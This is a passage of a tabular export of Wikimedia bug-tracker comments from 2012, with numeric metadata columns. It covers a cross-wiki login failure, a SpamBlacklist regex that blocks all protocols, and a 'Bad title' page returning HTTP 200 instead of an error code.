1 row in set (0.00 sec)",,,1330165462,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,True,,,-79,True,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,2.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.0,0.6666666666666666,4.666666666666667,0.6666666666666666,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.0,2.0,11.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.0,2.6666666666666665,4.277777777777778,0.4479166666666667,"The issue is same as bug 34381, a local user was created without the global user informations :-(


[ruwikiversity]> select * from user where user_name='Axpde' \G
*************************** 1. row ***************************
                 user_id: 8767
               user_name: Axpde
          user_real_name: 
           user_password: 
        user_newpassword: 
       user_newpass_time: NULL
              user_email: 
            user_options: 
            user_touched: 
              user_token: SOMETOKEN
user_email_authenticated: NULL
        user_email_token: NULL
user_email_token_expires: NULL
       user_registration: 20120219121634
          user_editcount: 0
1 row in set (0.00 sec)



[kkwiktionary]> select * from user where user_name='Axpde' \G
*************************** 1. row ***************************
                 user_id: 1001
               user_name: Axpde
          user_real_name: 
           user_password: 
        user_newpassword: 
              user_email: 
            user_options: 
            user_touched: 
              user_token: SOME TOKEN
user_email_authenticated: NULL
        user_email_token: NULL
user_email_token_expires: NULL
       user_registration: 20120219131726
       user_newpass_time: NULL
          user_editcount: 0
1 row in set (0.00 sec)"
166211,unable to (SUL-)login on ru.wikiversity.org,Generic bug report is bug 34705,,,1330165295,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,True,,,-79,True,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.8333333333333334,Generic bug report is bug 34705
166206,unable to (SUL-)login on ru.wikiversity.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

Neither

* ru.wikiversity.org

nor 

* kk.wiktionary.org

are listed on my https://meta.wikimedia.org/wiki/Special:MergeAccount (sulinfo won't work at the moment due to toolserver problems) and I can't

# login on both sites
# reset my password on both sites!

So it's no duplicate of bug 34582 and it's still not solved!

Please set my email address on both sites to enable me to reset my password. Thank you!",,,1330160243,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,5.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,6.0,0.0,3.0,6.0,0.0,0.0,3.0,2.0,5.0,1.0,2.0,0.0,9.0,10.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.6804123711340204,0.6391752577319587,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

Neither

* ru.wikiversity.org

nor 

* kk.wiktionary.org

are listed on my URL (sulinfo won't work at the moment due to toolserver problems) and I can't

# login on both sites
# reset my password on both sites!

So it's no duplicate of bug 34582 and it's still not solved!

Please set my email address on both sites to enable me to reset my password. Thank you!"
166201,unable to (SUL-)login on ru.wikiversity.org,"

*** This bug has been marked as a duplicate of bug 34582 ***",,,1330107854,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-79,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 34582 ***"
166196,unable to (SUL-)login on ru.wikiversity.org,"It took a few bug reports before we looked at this the way we should have, but we think we resolved this as part of bug 34582.  Sorry for the inconvenience!",,,1330107796,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-79,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,0.0,6.0,0.0,3.0,14.0,0.0,0.0,3.0,0.0,3.0,3.0,3.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.6,0.8285714285714286,"It took a few bug reports before we looked at this the way we should have, but we think we resolved this as part of bug 34582.  Sorry for the inconvenience!"
166191,unable to (SUL-)login on ru.wikiversity.org,Seems to be related to bug 34478,,,1329755489,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7142857142857144,0.8571428571428571,Seems to be related to bug 34478
166185,unable to (SUL-)login on ru.wikiversity.org,This has nothing to do with surveys... moving to the same component bug 34381 is in.,,,1329665180,,PHID-USER-7ey733eainlhx5xqp4d3,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,22.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.8333333333333335,0.9444444444444444,This has nothing to do with surveys... moving to the same component bug 34381 is in.
166180,unable to (SUL-)login on ru.wikiversity.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

Another very strange thing on kk.wikibooks.org:

# at 13:17, 19. Feb. 2012 my account was created.
# at 13:18, 19. Feb. 2012 I was able to do the rename
# at 13:29, 19. Feb. 2012 I was forced to reset my password to access my account again!!

What the h...eck is going wrong on wmf servers?!?",,,1329658770,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,1.0,2.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,8.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,3.0,0.0,11.0,0.0,6.0,9.0,7.0,2.0,0.0,0.0,6.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.303370786516854,0.5842696629213483,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

Another very strange thing on kk.wikibooks.org:

# at 13:17, 19. Feb. 2012 my account was created.
# at 13:18, 19. Feb. 2012 I was able to do the rename
# at 13:29, 19. Feb. 2012 I was forced to reset my password to access my account again!!

What the h...eck is going wrong on wmf servers?!?"
166175,unable to (SUL-)login on ru.wikiversity.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

It happened once again! Now I can't access my accounts on the following wikis

* ru.wikiversity.org
* kk.wiktionary.org


I was able to merged the account via reset password and ""merge accounts"" on

* kk.wikibooks.org
* ta.wikiquote.org",,,1329658324,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,0.0,7.0,7.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,7.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,7.0,7.0,7.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.389830508474576,0.711864406779661,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:

It happened once again! Now I can't access my accounts on the following wikis

* ru.wikiversity.org
* kk.wiktionary.org


I was able to merged the account via reset password and ""merge accounts"" on

* kk.wikibooks.org
* ta.wikiquote.org"
36179,"Unexpectedly blocks all protocols, not just http/https","Since the fix for bug 33985, the spam blacklist will now block links for all protocols, not just http or https as documented. Is there any reason not to use the 'm' flag and anchor the regex?

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1328242140,1328300138.0,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,False,PHID-TASK-wr2xynrlfio5shaa2tmm,task_description,resolved,True,c2,1,True,False,True,-82,True,3.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,2.0,0.0,0.0,7.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,7.0,2.0,3.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.721311475409836,0.7377049180327869,"Since the fix for bug 33985, the spam blacklist will now block links for all protocols, not just http or https as documented. Is there any reason not to use the 'm' flag and anchor the regex?

--------------------------
**Version**: unspecified
**Severity**: normal"
163975,"Unexpectedly blocks all protocols, not just http/https","(In reply to comment #3)
> $regexStart = '/(?:https?:)\/\/+[a-z0-9_\-.]*(';
> 
> would fix it, by not making the whole protocol bit optional

That re-opens bug 33985. What probably needs to be done is something like

$regexStart = '/^(?:https?:)?\/\/+[a-z0-9_\-.]*('; 

so (in combination with the 'm' flag already included in $regexEnd) it only matches at the start of each line, but I don't have time right now to verify that works. At a glance it looks like it'll break detecting links in edit summaries, unless the link is at the start of the edit summary.",,,1328473126,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,1.0,0.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,1.0,3.0,4.0,0.0,1.0,0.0,1.0,0.0,5.5,13.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,16.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,5.0,1.5,1.0,6.5,0.0,0.0,0.0,0.5,4.0,0.0,2.5,0.0,3.5,13.0,2.0,0.0,2.0,0.0,3.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,3.412280701754386,0.763157894736842,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE

That re-opens bug 33985. What probably needs to be done is something like

$regexStart = '/^(?:https?:)?\/\/+[a-z0-9_\-.]*('; 

so (in combination with the 'm' flag already included in $regexEnd) it only matches at the start of each line, but I don't have time right now to verify that works. At a glance it looks like it'll break detecting links in edit summaries, unless the link is at the start of the edit summary."
163972,"Unexpectedly blocks all protocols, not just http/https","1.18wmf1 r110682
trunk r110683",,,1328300138,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,60.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.6,1.0,"1.18wmf1 r110682
trunk r110683"
163968,"Unexpectedly blocks all protocols, not just http/https","$regexStart = '/(?:https?:)\/\/+[a-z0-9_\-.]*(';

would fix it, by not making the whole protocol bit optional",,,1328299781,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.4642857142857144,0.9285714285714286,"$regexStart = '/(?:https?:)\/\/+[a-z0-9_\-.]*(';

would fix it, by not making the whole protocol bit optional"
163963,"Unexpectedly blocks all protocols, not just http/https","Enwiki had a broken entry for irc.freenode.net that suddenly started blocking external links to irc://irc.freenode.net/. In this case the blacklist entry was useless anyway.

If the solution to the bug is to explicitly change the behavior of the extension to block all protocols, fine with me. But right now it is documented at [[mw:Extension:SpamBlacklist]] that it matches http and https protocols, not all protocols that include the ""//"".",,,1328242728,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,2.0,0.0,0.0,1.0,1.0,6.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,13.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,2.0,1.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,8.0,4.0,7.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,2.0,0.0,2.0,0.0,4.0,0.0,2.0,1.0,1.0,1.0,0.0,0.0,4.0,4.464285714285714,0.7261904761904762,"Enwiki had a broken entry for irc.freenode.net that suddenly started blocking external links to irc://irc.freenode.net/. In this case the blacklist entry was useless anyway.

If the solution to the bug is to explicitly change the behavior of the extension to block all protocols, fine with me. But right now it is documented at [[mw:Extension:SpamBlacklist]] that it matches http and https protocols, not all protocols that include the ""//""."
163957,"Unexpectedly blocks all protocols, not just http/https",Are there actual cases where you'd want to block http/https links but allow another protocol like gopher?,,,1328242509,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-wr2xynrlfio5shaa2tmm,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,4.238095238095238,1.0,Are there actual cases where you'd want to block http/https links but allow another protocol like gopher?
35646,"""Bad title"" error page returns HTTP 200 OK instead of an error code","""Bad title"" page is served with an HTTP 200 ""OK"" response, should be 400 or maybe 403 or 404.

Blocks bug 33628 -- mobile client is unable to determine that this was an error case because the page comes back without an HTTP-level error indication.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: http://en.wikipedia.org/wiki/%23",High,80.0,1326229680,1327488724.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-ms5xok4m7r45ev4pesw2,task_description,resolved,True,c2,1,True,False,True,-86,True,0.0,0.0,0.0,1.0,0.0,7.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,19.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,11.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,0.0,6.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,0.654320987654321,"""Bad title"" page is served with an HTTP 200 ""OK"" response, should be 400 or maybe 403 or 404.

Blocks bug 33628 -- mobile client is unable to determine that this was an error case because the page comes back without an HTTP-level error indication.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
161334,"""Bad title"" error page returns HTTP 200 OK instead of an error code","(In reply to comment #6)
> Great, thanks! When might this change actually appear in production?

The process is to have the change pair reviewed. Then it is applied to the production branch and then deployed by someone with shell access.

The change was merged by Roan Kattouw a few minutes ago with r110368 and applied on live site:

$ curl -I 'http://en.wikipedia.org/wiki/%5B%5B'
HTTP/1.0 400 Bad Request
<snip>

So that is live :-)",,,1328002277,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-83,True,1.0,1.0,0.0,3.0,0.0,8.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,1.0,3.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,0.0,13.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,5.0,15.0,0.0,3.0,8.0,0.0,1.0,0.0,1.0,3.0,0.0,3.0,0.0,1.0,11.0,9.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,4.0,3.569620253164557,0.7721518987341772,"(In reply to comment #6)
QUOTE

The process is to have the change pair reviewed. Then it is applied to the production branch and then deployed by someone with shell access.

The change was merged by Roan Kattouw a few minutes ago with r110368 and applied on live site:

$ curl -I 'URL
HTTP/1.0 400 Bad Request
<snip>

So that is live :-)"
161326,"""Bad title"" error page returns HTTP 200 OK instead of an error code","**philinje** wrote:

Great, thanks! When might this change actually appear in production?",,,1327600317,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,False,,,-83,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.761904761904762,0.8571428571428571,"**philinje** wrote:

Great, thanks! When might this change actually appear in production?"
161321,"""Bad title"" error page returns HTTP 200 OK instead of an error code",Added a new exception class with r110001.,,,1327488724,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-83,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,4.375,1.0,Added a new exception class with r110001.
161316,"""Bad title"" error page returns HTTP 200 OK instead of an error code","Phil > I guess that kind of bug is for Platform Engineering (I am a member of that team).

I did not notice it was blocking for Mobile applications.

Tagging +platformeng.",,,1327475877,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,True,,,-83,True,0.0,0.0,0.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,8.0,21.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,18.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,3.6666666666666665,0.7948717948717948,"Phil > I guess that kind of bug is for Platform Engineering (I am a member of that team).

I did not notice it was blocking for Mobile applications.

Tagging +platformeng."
161311,"""Bad title"" error page returns HTTP 200 OK instead of an error code","**philinje** wrote:

Brion, who is the right person for this? And should we make any dependency on this in forthcoming mobile releases?",,,1327444984,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ms5xok4m7r45ev4pesw2,task_subcomment,,True,c2,1,False,,,-84,True,3.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,6.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,10.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7096774193548385,0.8387096774193549,"**philinje** wrote:

Brion, who is the right person for this? And should we make any dependency on this in forthcoming mobile releases?"
161304,"""Bad title"" error page returns HTTP 200 OK instead of an error code","**sumanah** wrote:

